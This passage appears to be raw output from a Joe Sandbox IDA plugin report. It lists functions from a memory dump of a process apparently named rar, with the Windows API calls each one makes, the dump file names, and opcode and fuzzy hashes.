Part of subcall function 00007FF629B52ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629B52AD0

Part of subcall function 00007FF629B52B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629B52C1C

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction ID: 7f38928273bb8bcd8ecdce9b9cb3d725e47330c8b88bec31726aebc0ec01037f
Opcode Fuzzy Hash: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction Fuzzy Hash: 23019E01E1A18A16FE18BFB59CA23BF65828FD3313F544278E52E8A7D3DD1C6445A353

Function 00007FF629B12440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF629B12480
GetLastError.KERNEL32 ref: 00007FF629B1248D

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 56ad3079ba996761698f63fddb95932b12cf9d6b4ec809f2ba4a944ca1cb0e1d
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: D301A521E1864A82EF649F2AE84037E2350EF8677AF144335D23D811E5CF3CD586DB11

Function 00007FF629B130C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF629B1305D,?,?,?,?,?,?,?,?,00007FF629B24126,?,?,?,?,00000800), ref: 00007FF629B130F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF629B24126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF629B13119

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: 84474f52536cc42518d6cad3dd5630de88767fbbca76579511b2e8d8111d4da2
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: 83F0AF22B1868542EE609F25FC943AE6290BB8F7D5F400131EA9CC7799DE7CE584AA01

Function 00007FF629B3B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF629B3B41E
LoadLibraryW.KERNELBASE ref: 00007FF629B3B449

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: a9529ca89a1daa51ecd42d5fbd48a0d8c8d3365d48e91f224c1f0751313f64f5
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 2FF06222B2858542FE70AF21EC153FF6264BFCA785F804035E9CDC6699DE2CE244EA01

Function 00007FF629B3BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF629B3BACD), ref: 00007FF629B3BA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF629B3BA87

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: 1b4f9cf8d7721f8d9df3dd06abb612c5eed68c6144d02da4447fc2d2c39ded53
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 3FE0E520B3845A43DFD89B2A8891FAE2390AB86B81F802039F40AC3A14DD1CD4448B01

Function 00007FF629B54A74 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF629B54A8A
GetLastError.KERNEL32 ref: 00007FF629B54A9C

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 7e8494c5e86f6884e237417d61a5b2505954526daa3b295d21be9409182c5636
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 15E04F61E1910F42FE58AFB39C4417E12925FCA746F048434D90DD6251EE2CA441A206

Function 00007FF629B371FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf3431c2f8b5c05d861a21d8e67f661f4fc02fcce2a835ad0cc1140c53210456
Instruction ID: 6daeaa2b04beca659c76460042dddc9b6066fe0ccf24d67566f2f1a6928ee157
Opcode Fuzzy Hash: cf3431c2f8b5c05d861a21d8e67f661f4fc02fcce2a835ad0cc1140c53210456
Instruction Fuzzy Hash: 6CE1D921A0868A42FF20DE359C946FF2751EFC3B8AF044135DD4D8BAD6DE2CA445E716

Function 00007FF629AF72C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629B2915C: new.LIBCMT ref: 00007FF629B291CA
Part of subcall function 00007FF629B2915C: new.LIBCMT ref: 00007FF629B291F2

new.LIBCMT ref: 00007FF629AF73DE

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481a6244aa78f3690721209afba1077f4be42ed0cb1ad071d5ce1956372566aa
Instruction ID: 53b08ff41ac16b6623986e637a286a0fc252809b0c26b71657e8176419a582be
Opcode Fuzzy Hash: 481a6244aa78f3690721209afba1077f4be42ed0cb1ad071d5ce1956372566aa
Instruction Fuzzy Hash: 6A513673528BD195EB009F24A8441EE37A8F745F88F19423ADF884B79ADF396161D331

Function 00007FF629B5231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF629B52344

Part of subcall function 00007FF629B524D4: GetModuleHandleExW.KERNEL32 ref: 00007FF629B524F4
Part of subcall function 00007FF629B524D4: GetProcAddress.KERNEL32 ref: 00007FF629B5250A
Part of subcall function 00007FF629B524D4: FreeLibrary.KERNEL32 ref: 00007FF629B5252F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: 5ac7d6a3826672f8fcdd3c45c9857acad76f4f61f3da8b000f4b858aca2dab65
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: 5E41C221E1A64B86FF689F25DC5027F2251AFD6742F004439DA0DC76A5DE3CE845E742

Function 00007FF629B04D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF629B04D47

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 9a13f926b2779837834b7ed333ef60e0a1b63e61849da195dfae7070af5024ca
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: E701C41160C64685EF10AF16AD001BF5661BFCBB96F480431EE4D47365EE3DD841A302

Function 00007FF629B54B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: bcc0096163bc8773b495c3a99e423b07a7db97eacb0cbce1c4e2bfd91e21fe2d
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: F0012160A1C68B41FD649E66DE4027F31925FD7BD6F188630DE1DE62D6ED1CA4017103

Function 00007FF629B3A924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF629B3A998

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: 1e17feed84ea3615435274a6f6310ebcf2b07544d0662c99b90893721b18db7d
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: 0E01446170CA5685EE109F53A80406FA611ABDBFC1F5C4534EF8D9BB5ACE3DE0429709

Function 00007FF629B14554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF629B14590

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction ID: e843a2e5fab6c21cf850c79b9812a6df46254ad5b22fc5fbb1ff433f2484b1b1
Opcode Fuzzy Hash: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction Fuzzy Hash: 20F081219082C546DE159F7199013FE2751AB87BBAF084335DEBC4B2CBCE6C90849722

Function 00007FF629B54AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF629B54AF2

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: efe0af6f1a3bb512e25e0fff0595a1a28e2eff838a1a648caa99a5cfa0d39cc4
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 53F05415A1D28E40FD946E629C8027F22924FC67A2F080A34ED2DD53C1DE5CE4416116

Function 00007FF629B11930 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF629B11958

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
